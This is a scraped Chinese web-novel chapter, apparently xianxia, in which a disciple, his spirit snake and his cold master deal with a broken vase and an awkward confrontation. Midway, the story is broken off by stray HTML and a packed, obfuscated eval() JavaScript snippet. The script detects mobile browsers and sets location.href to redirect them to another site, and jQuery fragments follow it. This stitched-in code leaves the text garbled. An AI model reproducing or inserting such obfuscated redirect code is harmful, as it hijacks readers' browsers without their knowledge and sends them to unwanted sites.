意料之中的事情没有发生。
许景昭坠落一半被接住,他睁开眼睛,才发现自己停在半空,腰间是一条粗壮的蛇尾,牢牢的把他禁锢在半空。
许景昭睁开眼睛,惊喜道:“不太白,原来你跑到这里来了。”
不太白身子变得很大,蛇头有许景昭半个人高,刚刚就窝在底部,它盯着许景昭看了会,然后抬起尾巴尖将他送了上去。
但它却没将许景昭送到梯子上,反而把许景昭送到了格子里。
许景昭站在装着宝物的小隔间里,疑惑道:“这里面是放宝物的地方,你把我关到格子里做什么?”
不太白晃了晃脑袋,人性化地皱眉,看了许景昭半响,随后尾巴尖一抬,将许景昭怀里抱着的玉瓶卷起丢下去。
然后关上阵法,得意欣赏自己的作品。
看,是宝物,才不是食物!
许景昭可不知道不太白心里的小九九,他惊骇地看着玉瓶坠落到黑暗里,停留三息后传来碎裂的声响,他屏住呼吸,心脏骤停。
他做了什么?他把师尊的东西打坏了?
许景昭害怕的要命,他目光转向不太白,有些生气,“不太白,快把我放出去,你闯祸了知不知道!”
不太白看着许景昭的表情不悦,知晓自己惹了祸事,他将脑袋埋到身体里,有些抗拒。
许景昭拍打着结界,“快把我放出来,听到没有!”
宴微尘上一秒还在殿内,下一秒忽的听到怒音,他有些恍惚,望向前面的场景,眸色沉了下来。
他精神体有时候不稳定,想要逃避事物亦或是太过激动的时候就会跟他本尊通感,不太白身为宴微尘精神显化,宴微尘有时并不能拒绝。
就比如现在。
许景昭怒气匆匆的从格子里爬出来,踩着梯子揪他的鳞片。
宴微尘拧眉,抬眸静静盯着许景昭。
“你知不知道你闯祸了,滔天大祸!你把师尊的宝物给打坏了!”
许景昭松了手,心疼的顺着台阶往下爬,语气哀怨,“这玉瓶也不知道多少钱,要不要我赔啊?我赔的起吗?”
许景昭还要下去,下面黑漆漆一片,台阶也看不到,许景昭索性就踩到了不太白的蛇身上,摸索着向下走,“不太白,你可别乱动啊。”
他的脚踩在蛇身上,奇怪的触感让宴微尘头皮发麻,不知道踩到了哪块地方,宴微尘闷哼一声,蛇尾将许景昭卷起来带到上层。
“哎?”许景昭眼前一花,就被带到了上面。
他刚想开口,就听到殿外似乎有声音,许景昭站在上面,有些焦急“不太白!你快上来,变小,快。”
宴微尘眯了眯眼睛,心里有些不悦,还不等他反应,身子不受控的上前缩小,然后迅速爬到许景昭掌心。
宴微尘脸彻底黑了。
许景昭摸了摸不太白的头,“乖啊,别乱跑,跟我去找师尊认罪。”
宴微尘冷眸盯着许景昭的动作,头顶上被抚摸过的触感不散,不太白翘着尾巴,宴微尘闭上眸子,再睁眼又回了仙执殿内。
他心情实在不妙,以至于许景昭进来时,看见宴微尘满身的低气压,更瑟缩了几分。
难道师尊未卜先知,知道自己闯祸了?
许景昭一只脚踏进来,视线落到光洁的地板上,地面上的寒气从脚底钻到他骨子里,不知道是冷的还是吓的。
今日殿内垂幔挂起,一眼就能瞧见高台上乌木桌后坐着的人,黑色织金锦袍像是蔓延的墨色,衬得上座人矜贵而冷漠,头上玉冠泛着冷光,一如宴微尘那寒冰凝结的眸子。
许景昭忐忑不安上前,“师尊。”
宴微尘看着许景昭没说话,他的视线落到许景昭衣袖上金丝镶绣的珠子上,向下又看到了许景昭腰间坠着的浅白色玉牌。
显化妖兽为何偏要黏着许景昭?宴微尘没找到答案。
他轻揉了下眉心,不悦道:“何事?”
听见声音,许景昭身子下意识缩了缩。
殿里的一切都逃不过宴微尘的眼睛,看到许景昭这上不得台面的模样,心情愈发不悦,“你怕我做什么?过来!”
许景昭抬头,看了宴微尘一眼,抿了抿嘴,小心翼翼的往前挪了一步。
宴微尘那双凌厉的眸子紧盯着许景昭,指节轻叩桌面,声音幽冷,“别让我说第二遍。”
许景昭立马上前,在距离宴微尘三步远的地方停下。
“师尊,我不小心弄坏了殿里的东西。”
不太白盘在许景昭手腕上,不老实的往上爬,许景昭另一只手悄悄伸进袖子,指尖弹了不太白一下。
宴微尘脑袋也觉得震荡,他忽的按住桌面。
“师尊?你怎么了?”
许景昭眼神担忧,一半担忧宴微尘是出了什么事,一半担忧自己要不要赔灵石。
不太白安安静静盘在许景昭的手腕上不动了,许景昭另一只手摩挲着不太白的蛇首,心里暗想,也不知道刚刚打疼了没有。
宴微尘刚觉得脑子被击中,紧接着就感觉有人在他身上轻抚,电流一路从脖颈到后背,带起阵阵战栗。
他不喜欢不受控的感觉,眸色沉沉,“许景昭!”
许景昭膝盖一软,被他呵斥的跪在地上,“徒儿在。”
宴微尘按了按眉心,“过来!”
“嗯?”许景昭抬起头,满脸疑惑。
等当他看到宴微尘的指尖按在眉心时,心里猛然顿悟,有拨云见日之感,他懂了。
许景昭立马爬起来,在身上拍了拍手,然后上前,站在宴微尘身侧,“徒儿帮师尊分忧。”
他指腹放到宴微尘额角旁,像是以前在春隐门做的那样,想要帮宴微尘揉下额角。
宴微尘身子一僵,在许景昭碰到他额角的刹那,他伸手将许景昭反扣过来,压制在桌面。
桌角晃荡,原本摆在桌子侧边的白瓷笔担哐当一声落到地面。
许景昭吃痛闷哼一声,眼睛陡然张大,声音惊惧,“师……师尊?”
宴微尘虎口扣住许景昭纤细的脖颈,另一只压住许景昭的双臂,将人按在乌木桌面。
他能感觉到手下脉搏的跳动,许景昭的脖颈纤细,他一只手就扣了过来,黑金色衣袍盖住他的手背搭在许景昭脖颈间,乌木桌面漆色如墨更衬得许景昭肤色苍白。
手下人轻微打着颤,是被吓的。
宴微尘眼帘掀起,对上许景昭沾染了惊惧的眸子,这人眸色太浅,像是成色上品的琉璃珠子,眼睫颤动,如同被雨打湿的蝶翼,漂亮而脆弱。
宴微尘出神片刻,立马松了手,语气微凝,“不要伸手靠近我,我不太习惯。”
许景昭轻咳一声,惊疑不定的站起身来,“是,师尊。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340475|183414||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
宴微尘刚刚都没用什么力,许景昭的脖颈就红了一大块,他又拧起眉,这人是糕点做的不成,这么娇弱?
这可冤枉许景昭了,他是天生体质差,不如一般修士皮肉结实。
宴微尘的视线重新落到许景昭的眼睛上,那里面还有未褪去的惧意,像是琥珀蒙尘,黯淡了光泽。
“就这么害怕?”
“当……当然不怕。”
可许景昭藏在袖子下,微微颤抖的手透过不太白传到了宴微尘的识海里。
宴微尘顿住,重新审视自己这个新收的弟子,许景昭抬着眼睛,圆圆的眼眸让人一眼就瞧见了底。
还是蠢,但好在人还算良善。
宴微尘不打算跟他绕弯子,直接道:“你袖子里是什么?”
许景昭表情凝固,脸色有些不自然,“没什么啊。”
他单手捏紧袖口,磕磕巴巴转移话题,“师尊,我刚刚不小心打碎了偏殿里的东西。”
“不重要,手伸出来。”
许景昭咬了咬下唇,然后抬起手,不太白身子露出一节见了光,它立马就要往许景昭袖子里钻,却被宴微尘拎了起来。
不太白盘踞在他的指节,宴微尘明知故问,“这是什么?”
许景昭心提到了嗓子眼,他吞咽了下口水,十分紧张,“师尊,是……是我打碎的,不关它的事啊。”
怎么说不太白也是生病期间唯一对他好的活物,他不能不讲义气吧。
宴微尘的淡淡撇了他一眼,“谁问你这个了?”
“额。”许景昭有些卡壳,仙执殿的东西都归宴微尘管,不太白……不太白不行啊,这是许景昭心里认定的好朋蛇。
不太白现在身子缩小到一个手环大小,正盘在宴微尘的手上,还不自量力的张嘴咬宴微尘的指尖,看着许景昭眼前一黑又一黑。
“这是我在春隐门带过来的!”
话音落地,两张脸都看向许景昭,就连不太白那张蛇脸上也带了震惊,可惜它太黑许景昭注意不到。
第一句开口,剩下的就好编了。
许景昭声情并茂,“这是我在春隐门的玩伴,自小就跟在我身边,我俩历经风风雨雨,所以我将它带到了春隐门,权当是个念想,师尊,你不会没收的,对吧。”
宴微尘气笑了,“玩伴?自小?”
许景昭点点头,伸出手,为了证明自己说的话,他直接道:“不太白,不要咬师尊,快到我手里来。”
不太白看了眼宴微尘,脑袋昂起,自己主动爬到了许景昭手上。
好在那诡异的共感消失了。
宴微尘盯着许景昭跟他手里的不太白看了一会,尤其是看那漆黑如墨的鳞片,语气听不出什么情绪,“不太白,真会起名字。”
许景昭尴尬笑笑。
宴微尘盯着那蛇眼底看不出情绪,“既是你的东西,那你就看好了。”
许景昭立马乖巧应下,“好的师尊。”
“回去吧,这里用不着你。”
许景昭大喜过望,自己不用赔东西了。
岂料,他走了还没两步,宴微尘的声音又响起,“等等。”
许景昭捏着不太白,心尖又悬起来,“师尊?”
宴微尘视线撇了许景昭的脖颈一眼,“拿去。”
许景昭伸手接过,摊开手,手里是一个药瓶。